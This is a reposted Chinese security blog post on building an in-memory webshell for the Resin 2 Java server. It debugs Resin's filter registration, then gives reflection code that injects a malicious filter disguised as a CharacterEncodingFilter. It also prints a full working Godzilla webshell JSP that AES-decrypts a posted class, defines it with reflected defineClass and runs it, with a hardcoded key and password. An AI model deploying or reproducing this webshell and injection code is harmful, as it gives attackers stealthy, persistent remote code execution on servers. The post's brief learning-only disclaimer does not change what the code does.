Java安全之Resin2内存马

转x33g5p2x  于9个月前 转载在 Java  
字(9.0k)|赞(0)|评价(0)|浏览(534)

Java安全之Resin2内存马

环境

resin2.1.17

添加Filter分析

依然是web.xml注册一个filter，debug进去看注册流程

debug dofilter逻辑时看到如下代码，最终走入 this._filterChain = this._application.buildFilterChain(this, this._config); 去build filterchain。并且貌似是初始化的时候才会去buildfilterchain，当后面第二次再走时，这里的 _filterchain 已经是有值的了。

this._application 应为上下文对象，继续往下跟通过 QFilterConfig#createFilter 来创建了一个Filter，之后new 了一个FilterChain

注意下面三个对象，添加上即可

_filterMap

首先看 FilterMap 构造，主要是Regexp， QFilterConfig 后面再说

可以反射实例化之后调用方法或者set属性来设置值

  1. class FilterMap {
  2.     static L10N L;
  3.     private String servletName;
  4.     private Regexp regexp;
  5.     private Object data;
  7.     FilterMap() {
  8.     }
  10.     void setServletName(String servletName) {
  11.         this.servletName = servletName;
  12.     }
  14.     void setRegexp(String regexpPattern, String flags) throws Exception {
  15.         this.regexp = new Regexp(regexpPattern, flags);
  16.     }
  18.     void setURLPattern(String urlPattern, String flags) throws ServletException {
  19.         this.regexp = this.urlPatternToRegexp(urlPattern, flags);
  20.     }

下面看Regexp ,其实就是一个正则来控制的路由处理

  1. ^.*$
  2. ^(?=/)|^$

调用有参构造即可

_filters

hashtable对象，key为filtername，value为QFilterConfig对象，key可以随便伪造成个正常的

_filterList

直接add一个QFilterConfig元素即可

看到QConfigFilter，Registry为空就走if的逻辑，传入构造好的属性即可

  1. package com.caucho.server.http;
  3. import com.caucho.util.BeanUtil;
  4. import com.caucho.util.CauchoSystem;
  5. import com.caucho.util.L10N;
  6. import com.caucho.util.RegistryNode;
  7. import java.util.Collections;
  8. import java.util.Enumeration;
  9. import java.util.HashMap;
  10. import java.util.Iterator;
  11. import javax.servlet.Filter;
  12. import javax.servlet.FilterConfig;
  13. import javax.servlet.ServletContext;
  14. import javax.servlet.ServletException;
  16. class QFilterConfig implements FilterConfig {
  17.     static L10N L;
  18.     private static HashMap _configElements;
  19.     private Application _application;
  20.     private RegistryNode _registry;
  21.     private RegistryNode _initRegistry;
  22.     private String _name;
  23.     private String _className;
  24.     private HashMap _init;
  25.     private Filter _filter;
  27.     QFilterConfig(Application application, String name, String defaultClassName, RegistryNode registry) throws ServletException {
  28.         this._application = application;
  29.         this._registry = registry;
  30.         this._name = name;
  31.         this._init = new HashMap();
  32.         if (registry == null) {
  33.             if (defaultClassName == null) {
  34.                 this._className = name;
  35.             } else {
  36.                 this._className = defaultClassName;
  37.             }
  39.         } else {
  40.             this._className = registry.getString("filter-class", defaultClassName);
  41.             Iterator iter = registry.iterator();
  43.             while(iter.hasNext()) {
  44.                 RegistryNode node = (RegistryNode)iter.next();
  45.                 if (node.getName().equals("init-param")) {
  46.                     try {
  47.                         application.fillParam(node, this._init);
  48.                     } catch (ServletException var8) {
  49.                         throw var8;
  50.                     } catch (Exception var9) {
  51.                         throw new ServletException(var9);
  52.                     }
  53.                 } else if (node.getName().equals("init")) {
  54.                     this._initRegistry = node;
  55.                 } else if (_configElements.get(node.getName()) == null) {
  56.                     throw Application.error(node, L.l("unknown element `{0}' in {1}", node.getName(), registry.getName()));
  57.                 }
  58.             }
  60.         }
  61.     }

后面就是用c0ny1师傅的java-object-searcher工具挖掘Application和Request在当前线程上下文的位置即可。

  1. //设置搜索类型包含ServletRequest，RequstGroup，Request...等关键字的对象
  2. List<Keyword> keys = new ArrayList();
  3. keys.add(new Keyword.Builder().setField_type("Request").build());
  4. keys.add(new Keyword.Builder().setField_type("Application").build());
  5. //新建一个广度优先搜索Thread.currentThread()的搜索器
  6. SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
  7. //打开调试模式
  8. searcher.setIs_debug(true);
  9. //挖掘深度为20
  10. searcher.setMax_search_depth(20);
  11. //设置报告保存位置
  12. searcher.setReport_save_path("/tmp/");
  13. searcher.searchObject();

result

  1. # Request
  2. TargetObject = {java.lang.Thread} 
  3.   ---> target = {com.caucho.server.TcpConnection} 
  4.    ---> request = {com.caucho.server.http.HttpRequest}
  6.         
  7. # Application        
  8. TargetObject = {java.lang.Thread} 
  9.   ---> contextClassLoader = {com.caucho.java.CompilingClassLoader} 
  10.        ---> attributes = {java.util.Hashtable} 
  11.          ---> attributes = {com.caucho.server.http.Application}

后面直接添加即可

主要代码

  1. private static void doInject(){
  2.         filterName = "CharacterEncodingFilter-" + System.nanoTime();
  3.         try {
  4.             if (APPLICATION !=null){
  6.                 // Regexp
  7. //                Class RegexpClazz = getClazz("com.caucho.regexp.Regexp");
  8. //                Constructor RegexpConstructor = RegexpClazz.getDeclaredConstructor(String.class);
  9. //                Object regexpObj = RegexpConstructor.newInstance("^(?=/)|^$");
  11.                 // QFilterConfig
  12.                 Class QFilterConfigclazz = getClazz("com.caucho.server.http.QFilterConfig");
  13.                 Constructor QFilterConfigConstructor = QFilterConfigclazz.getDeclaredConstructor(getClazz("com.caucho.server.http.Application"), String.class, String.class, getClazz("com.caucho.util.RegistryNode"));
  14.                 QFilterConfigConstructor.setAccessible(true);
  15.                 Object QFilterConfigObj = QFilterConfigConstructor.newInstance(APPLICATION, filterName, "HiganbanaFilter", null);
  17.                 // FilterMap
  18.                 Class filterMapClazz = getClazz("com.caucho.server.http.FilterMap");
  19.                 Constructor filterMapConstructor = filterMapClazz.getDeclaredConstructor();
  20.                 filterMapConstructor.setAccessible(true);
  21.                 Object filterMap = filterMapConstructor.newInstance();
  22.                 // set FilterMap regexp
  23.                 Method setRegexpMethod = filterMap.getClass().getDeclaredMethod("setURLPattern", String.class, String.class);
  24.                 setRegexpMethod.setAccessible(true);
  25.                 setRegexpMethod.invoke(filterMap,"/*", null);
  27.                 // set FilterMap data
  28.                 Method setDataMethod = filterMap.getClass().getDeclaredMethod("setData", Object.class);
  29.                 setDataMethod.setAccessible(true);
  30.                 setDataMethod.invoke(filterMap,QFilterConfigObj);
  32.                 // add FilterMap 2 _filterMap
  33.                 ArrayList _filterMap = (ArrayList) getFV(APPLICATION, "_filterMap");
  34.                 _filterMap.add(filterMap);
  36.                 // add QFilterConfig 2 _filterList
  37.                 ArrayList _filterList = (ArrayList) getFV(APPLICATION, "_filterList");
  38.                 _filterList.add(QFilterConfigObj);
  40.                 // put QFilterConfig 2 _filters
  41.                 Hashtable _filters = (Hashtable) getFV(APPLICATION, "_filters");
  42.                 _filters.put(filterName, QFilterConfigObj);
  44.             }
  46.         } catch (Exception e) {
  48.         }
  50.     }
  52.     private static void getApplication(){
  53.         Thread thread = Thread.currentThread();
  54.         ClassLoader contextClassLoader = thread.getContextClassLoader();
  55.         Hashtable attributesObj1 = (Hashtable) getFV(contextClassLoader,"attributes");
  56.         APPLICATION = attributesObj1.get("caucho.application");
  57.     }

但是有个弊端，debug逻辑的时候发现，只有在当前web.xml中已经存在有filter才能添加进去。暂未解决该问题。
并且即便是 _filterList.add(0, QFilterConfigObj); 虽然会加到第一个 但是顺序好像会有问题，不是根据ArrayList来调用doFilter方法的。

Godzilla

解决思路

将jsp🐎写成servlet debug

第一次请求

base64deocode后的data

aes decode后 data

第二次请求

base64decode后 data

aes decode后 data

arrout输出

第二次输出

最后定位到问题为md5操作不可以写在dopost方法里，否则每次请求都回去md5导致密码和key一直在改变，暂时的解决办法是手动md5将该值放到属性中，所以使用哥斯拉时 key的值尽量又臭又长，防止被逆。

最终Godzilla jsp password/token

  1. <%@ page import="java.net.URLClassLoader" %>
  2. <%@ page import="java.net.URL" %>
  3. <%@ page import="java.lang.reflect.Method" %>
  4. <%@ page import="java.io.ByteArrayOutputStream" %>
  5. <%!
  6.     String xc="94a08da1fecbb6e8";
  7.     String pass="password";
  8.     String md5 = "e993fa7e0bd02f84492c51357d1f5919".toUpperCase();
  9.     Class payload ;
  10. %>
  11. <%
  13.     Class base64;
  14.     byte[] value = null;
  15.     try {
  16.         base64 = Class.forName("java.util.Base64");
  17.         Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
  18.         value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{request.getParameter(pass)});
  19.     } catch (Exception e) {
  20.         try {
  21.             base64 = Class.forName("sun.misc.BASE64Decoder");
  22.             Object decoder = base64.newInstance();
  23.             value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{request.getParameter(pass)});
  24.         } catch (Exception e2) {
  25.         }
  26.     }
  27.     byte[] data = value;
  28.     boolean decode = false;
  29.     try {
  30.         javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
  31.         c.init(decode ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
  32.         data = c.doFinal(data);
  33.     } catch (Exception e) {
  35.     }
  37.     URLClassLoader urlClassLoader;
  38.     try {
  39.         if (payload == null) {
  40.             urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
  41.             Method defMethod = ClassLoader.class.getDeclaredMethod(new String(new byte[]{100, 101, 102, 105, 110, 101, 67, 108, 97, 115, 115}), new Class[]{byte[].class, int.class, int.class});
  42.             defMethod.setAccessible(true);
  43.             payload = (Class) defMethod.invoke(urlClassLoader, new Object[]{data, new Integer(0), new Integer(data.length)});
  44.         } else {
  45.             ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
  46.             Object f = payload.newInstance();
  47.             f.equals(arrOut);
  48.             f.equals(data);
  49.             response.getWriter().write(md5.substring(0, 16));
  50.             f.toString();
  51.             boolean n = true;
  52.             try {
  53.                 javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
  54.                 c.init(n ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
  55.                 byte[] tmp = c.doFinal(arrOut.toByteArray());
  57.                 
  58.                 try {
  59.                     base64 = Class.forName("java.util.Base64");
  60.                     Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
  61.                     String tmpvalue = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{tmp});
  62.                     response.getWriter().write(tmpvalue);
  63.                     response.getWriter().write(md5.substring(16));
  64.                 } catch (Exception e) {
  65.                     try {
  66.                         base64 = Class.forName("sun.misc.BASE64Encoder");
  67.                         Object Encoder = base64.newInstance();
  68.                         String tmpvalue = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{tmp});
  69.                         response.getWriter().write(tmpvalue);
  70.                         response.getWriter().write(md5.substring(16));
  71.                     } catch (Exception e2) {
  73.                     }
  74.                 }
  75.             } catch (Exception e) {
  77.             }
  79.         }
  80.     } catch (Exception e) {
  81.     }
  83. %>

最后

项目遇到的感觉比较有趣且极端的问题，虽然也不是很好的解决方案。

所有内容仅限于维护网络安全学习参考

版权说明 : 本文为转载文章, 版权归原作者所有 版权申明

原文链接 : https://www.cnblogs.com/CoLo/p/16871570.html

内容来源于网络，如有侵权，请联系作者删除！

相关文章

    查看更多

    热门标签

    更多
    JavaquerypythonNode开发语言requestUtil数据库Table后端算法LoggerMessageElementParser

    最新文章

    更多
    • 蜀ICP备13028337号-1 大数据知识库 https://www.saoniuhuo.com © All rights reserved
    • 本站内容来源互联网,如果侵犯您的权益请联系我们删除, 联系方式：448109455@qq.com